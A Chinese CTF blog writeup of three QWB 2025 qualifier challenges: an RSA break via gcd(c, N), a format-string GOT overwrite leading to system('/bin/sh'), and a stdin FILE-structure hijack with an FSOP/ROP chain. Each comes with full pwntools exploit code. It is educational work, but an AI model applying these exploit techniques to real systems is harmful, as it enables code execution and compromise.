13 min to read
QWB 2025 quals Writeup
自从 blackhat MEA 2025 结束后就一直在为博士毕业的事情添砖加瓦(为牛马做科研找一个更体面的说法.jpg),所以这次打题的时候感觉还是有点生疏了,所以还是要继续猛猛学习,不能老是待在自己的舒适圈里
因为感觉自己技能太过生疏了,所以决定把这次比赛看的题,无论是有没有做出来,都完全自己从头开始打一遍
本博客滚动更新 笑死
crypto-check little
第一次在正式比赛中尝试 crypto 题(主要是看上去挺板子题的哈哈哈),赛中并未做出来,后由 JOHNKRAM 解出
题面如下
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import os
flag, key = open('secret').read().split('\n')
e = 3
while 1:
p = getPrime(1024)
q = getPrime(1024)
phi = (p - 1) * (q - 1)
if phi % e != 0:
break
N = p * q
c = pow(key, e, N)
iv = os.urandom(16)
ciphertext = AES.new(key = long_to_bytes(key)[:16], iv = iv, mode = AES.MODE_CBC).encrypt(pad(flag.encode(),16)).hex()
f = open('output.txt', 'w')
f.write(f'N = {N}\n')
f.write(f'c = {c}\n')
f.write(f'iv = {iv}\n')
f.write(f'ciphertext = {ciphertext}\n')
由 AES 的性质,我们知道 如果要拿 flag 那肯定要先把 key 求出来,而前半部分是用 RSA 对 key 加密的
RSA 部分给出了 N 和 c,e 很小(e=3),看上去就很小公钥指数攻击对吧,但是实际上做不出来 = =
然后队友 JOHNKRAM 上线了,说这个题的 c 和 N 非互质… 而这个条件是试/猜出来的(本人套板子失败就不会其他招数了 g,感觉确实想不到这个点,之后和杰哥复盘的时候表示:没有别的点可打了….)
注意在 RSA 中,复杂度主要来自于大整数分解,像是正常的大整数乘除,gcd,逆元 甚至模幂的复杂度都是可以接受的
所以我们这边有以下条件:
由 gcd(c, N) != 1 可知,存在质因子 p 使得 p | c 且 p | N,且 N = p * q, q 也是质数
则 gcd(c, N) = p,我们可以直接求出 p,然后用 N // p 求出 q
然后求 出 phi = (p-1)*(q-1),再用扩展欧几里得求出 d,最后用 pow(c, d, N) 求出 key
然后用 key 解密就行了
exp
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gmpy2
# Given values
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ciphertext = bytes.fromhex('bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2')
p = gmpy2.gcd(N, c)
print(f"GCD of N and c: {p}\n")
q = N // p
print(f"Calculated q: {q}\n")
phi = (p - 1) * (q - 1)
e = 3
d = int(gmpy2.invert(e, phi))
key = long_to_bytes(pow(c, d, N))
print(f"Decrypted AES key: {key}\n")
cipher = AES.new(key[:16], AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)
print(f"Decrypted flag: {flag.decode()}\n")
运行输出如下
GCD of N and c: 147199016045711432751638821206308445008264556310138298317988445918295214070009189642863602736928620075708961292355772144107904072422081464952790328676245442353824750499664935214066308400409281606421061272247951127310089903404542920084748985854316064209036479288096221482644500085802435454794064096852047366391
Calculated q: 127685932938731221992817899539092641593668680700108840338907777364248158387793117420926162525549739317540333658811102811316274156507102712368770516894542906645781063123612802169333621393006523907942055597359469312381323007967788830402803370144148475302470248532284938017009759945821701787408489909925749848443
Decrypted AES key: b'\xd1\x9eL\xa2\xaf\xb2\x16B\xba\xf4KHv\x8b\x81\x06\x14\xc2\xe7\x94:U6\x05\xd2\x7f\x061;"\xc8fH\x17\x8c\x8b\x8b\xc4\x8c^\x8c\x8a*\x08\xff\x93\x93?\xa6\xab\x0e\xd8~,X*\xde\xac\xe5c\xec\xb5\xd9\x06\xc4aM\x05\n\x19\xed\xf3*\xbf\x14\x8am\xae\xbb\x14\xaa\xd1\xadi\xf8B$\xd3<\xaeK\x17\xac\xebn\x844\x16\xb1\x15k\x1d,\x12\x95\xc1%\xd6=\x97\xd9\xe3z\xe1j\x94\x90\n\xe7\xd4\x01\xec(\x03\xf0i\x08\xf7'
Decrypted flag: flag{m_m4y_6e_divIS1b1e_by_p?!}
好的吧,只能说题面,题目和真实解法毫无关联= =
pwn-flag market
这个题当时我 Tplus 和 october 在看,它是有个 bss 段溢出,从而可以溢出到 printf 参数的位置,从而实现 format string attack
一开始大家都在用非栈上格式化字符串的思路在做,我和 october 都在尝试写 got 表
但是后来 Tplus 理解了出题人的意图!就是可以通过两次输入构造一个栈上格式化字符串类似的情况:格式化字符串任意读写,然后读出堆上缓冲区里面的 flag 内容就行了
然后我在赛后复现了纯用非栈上格式化字符串写 got 表的情况,其思路如下:
第一次 format string: 写 fclose@got 为 main, 同时 libc leak,调用的时候会返回 main,从而实现多次格式化字符串
这次因为 fclose 还没有调用到,所以 got 表项是 fclose@plt 的地址,我们只用部分写低 2 个字节就行
第二次 format string: 写 printf@got 为 system(这样只用部分写两个字节,但是需要爆破,成功率 1/2 左右,是利用了 printf 和 system 特别近的性质),然后再次回 main,第三次直接把 printf 格式化字符串的内容写 /bin/sh\x00,从而 get shell
此外,非栈上格式化字符串这里是利用栈上已有的 chain 来做,详情见 这个博客
exp
from pwn import *
context(arch='amd64', os='linux')
p = process("./chall")
libc = ELF("./libc.so.6")
p.recvuntil("2.exit\n")
p.sendline("1")
fclose_got = 0x0404030
main = 0x40139B
p.recvuntil("how much you want to pay?\n")
p.sendline("255")
# gdb.attach(p)
# pause()
# first attack: write fclose@got to main, leak libc
p.recvuntil("opened user.log, please report:\n")
p.sendline("a"*0x100 + "%.0s"*20 + "%{}c%hn%{}c%52$naaa%25$p".format(0x4030,0x40139B - 0x4030))
p.recvuntil("2.exit\n")
p.sendline("1")
p.recvuntil("how much you want to pay?\n")
p.sendline("233")
p.recvuntil("aaa")
leak = int(p.recv(14),16)
log.info("leak: " + hex(leak))
libc_base = leak - 0x2a1ca
log.info("libc base: " + hex(libc_base))
sleep(1)
p.sendline("1")
p.recvuntil("how much you want to pay?\n")
p.sendline("255")
# second attack: write printf@got to system
p.recvuntil("opened user.log, please report:\n")
p.sendline("a"*0x100 + "%.0s"*40 + "%{}c%hhn%{}c%72$hn".format(0x40, ((libc_base + libc.symbols["system"]) & 0xffff) - 0x40))
log.info("%{}c%hhn%{}c%72$hn".format(0x40, ((libc_base + libc.symbols["system"]) & 0xffff) - 0x40))
# p.sendline("a"*0x100 + "%.0s"*40 + "%{}c%hhn%{}c%72$n".format(0x48, 0x48))
p.recvuntil("2.exit\n")
p.sendline("1")
p.recvuntil("how much you want to pay?\n")
p.sendline("233")
p.recvuntil("2.exit\n")
p.sendline("1")
p.recvuntil("how much you want to pay?\n")
p.sendline("255")
# third attack: write /bin/sh to printf format string, because we have changed printf@got to system, so this is actually system("/bin/sh")
p.recvuntil("opened user.log, please report:\n")
p.sendline("a"*0x100 + "/bin/sh\x00")
p.recvuntil("2.exit\n")
p.sendline("1")
# gdb.attach(p)
# pause()
p.recvuntil("how much you want to pay?\n")
p.sendline("233")
p.interactive()
pwn-bph
漏洞
这个表面上是堆题,但是如果你按照堆题的思路去想会发现没有什么漏洞,但是这个题实际上的点是它 malloc size 是任意的,然后没有检查 malloc 是否成功就继续去做后续这两个操作
v1 = size;
v2 = malloc(size);
::size = v1;
ptr = v2;
__printf_chk(2, "Content: ");
read(0, ptr, size);
*((char *)ptr + size - 1) = 0;
首先,这个 ptr 会被赋值为 0,然后 read 会失败(但是不会 crash),然后 *((char *)ptr + size - 1) = 0; 的效果为任意地址写 1 byte 0
这个洞在之前的 crew ctf 上出现过类似的,见 这个官方 writeup
leak
给了条件是可以输出栈上未初始化内存,从而能够 leak libc 地址
exploit
这个题比赛中我没想出来有任意地址写 0 后续应该怎么做,但是 Tplus 给出思路是 hijack IO_2_1_stdin 结构体,大概是如下的方法 (credit to Tplus),需要满足下列条件:
-
_IO_read_end == _IO_read_ptr
-
_flags & ~4
-
_fileno == 0
-
_IO_buf_base 和 _IO_buf_end 指向要被写的内容
触发条件是 fgets 或者 scanf 这类函数
我们打 fsop,则是先写一字节的 0 到 _IO_buf_base 低位,是的可以修改 stdin 结构体本身
然后同时改 _IO_buf_base _IO_buf_end 到伪造的 IO_FILE 结构体地址和伪造的 IO_FILE 结构体结尾,同时修改 stdin._chain 指向该伪造结构体
然后就是读入 fake IO_FILE 内容了,这一步直接套用了之前的板子,最后用 exit 触发 IO 流 getshell
exp
from pwn import *
context.log_level = 'debug'
p = process("./chall")
libc = ELF("./libc.so.6")
context(arch = "amd64", os = "linux", log_level='debug')
# p = remote("47.95.4.104", 34849)
p.recvuntil("Please input your token: ")
p.send("a"*0x28)
p.recvuntil(b"a"*0x8 *5)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xaddae
log.info("libc_base = 0x%lx", libc_base)
io_buf_base_offset = 0x38
io_2_1_stdin = libc_base + libc.symbols['_IO_2_1_stdin_']
p.recvuntil("Choice: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(io_2_1_stdin + io_buf_base_offset + 1))
# gdb.attach(p)
# pause()
fake_io_addr = libc_base + 0x204be0
payload1 = b"a"*0x18 + p64(fake_io_addr) + p64(fake_io_addr + 0x300)
payload1 = payload1.ljust(0x48, b"\x00") + p64(fake_io_addr) # chaining
p.recvuntil("Content: ")
p.send(payload1)
# 同时改 io_buf_base 和 io_buf_end 还有 lock 应该怎么整
p.recvuntil("Choice: ")
p.send(payload1)
p.recvuntil("Choice: ")
pop_rdi = 0x10f78b + libc_base
pop_rsi = 0x110a7d + libc_base
pop_rax = 0xdd237 + libc_base
ret = pop_rdi + 1
flag_addr = fake_io_addr + 0x118
syscall = libc_base + 0x11ba8f
rop=p64(pop_rdi)+p64(2**64 - 100)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rax)+p64(257)+p64(syscall)
rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr) + p64(libc_base+libc.symbols["read"])
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr) + p64(libc_base+libc.symbols["write"])
call_addr = libc_base + 0x04A99D # setcontext
fake_IO_FILE = p64(0)*8
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx setcontext rdi
fake_IO_FILE +=p64(call_addr) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(libc_base + 0x205700) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc_base+0x202258)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) + b"/flag\x00" # rax2_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0 + 0x88, b'\x00') + p64(0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0 + 0xa0, b"\x00") + p64(fake_io_addr + 0xa0 + 0xb8) + p64(ret)
payload = fake_IO_FILE + rop
p.send(payload)
sleep(2)
p.sendline("6")
# 手动发 6 here
p.interactive()
思考
复现的时候有个疑问:fgets 我们会提供一个 size,但是显然它一次性读入不止 size(如果一次只读入 size 多个字节的话,我们因为已经修改了 IO_buf_base 所以无法修改到 _chain)
大概看了一下源码,重点是我们 _IO_read_end == _IO_read_ptr 的时候会调用 __uflow 而该函数最终会用 read syscall 来读入数据,其中 read 的传参为
_IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base)
所以读入大小能够一次覆盖到 _chain 位置
Comments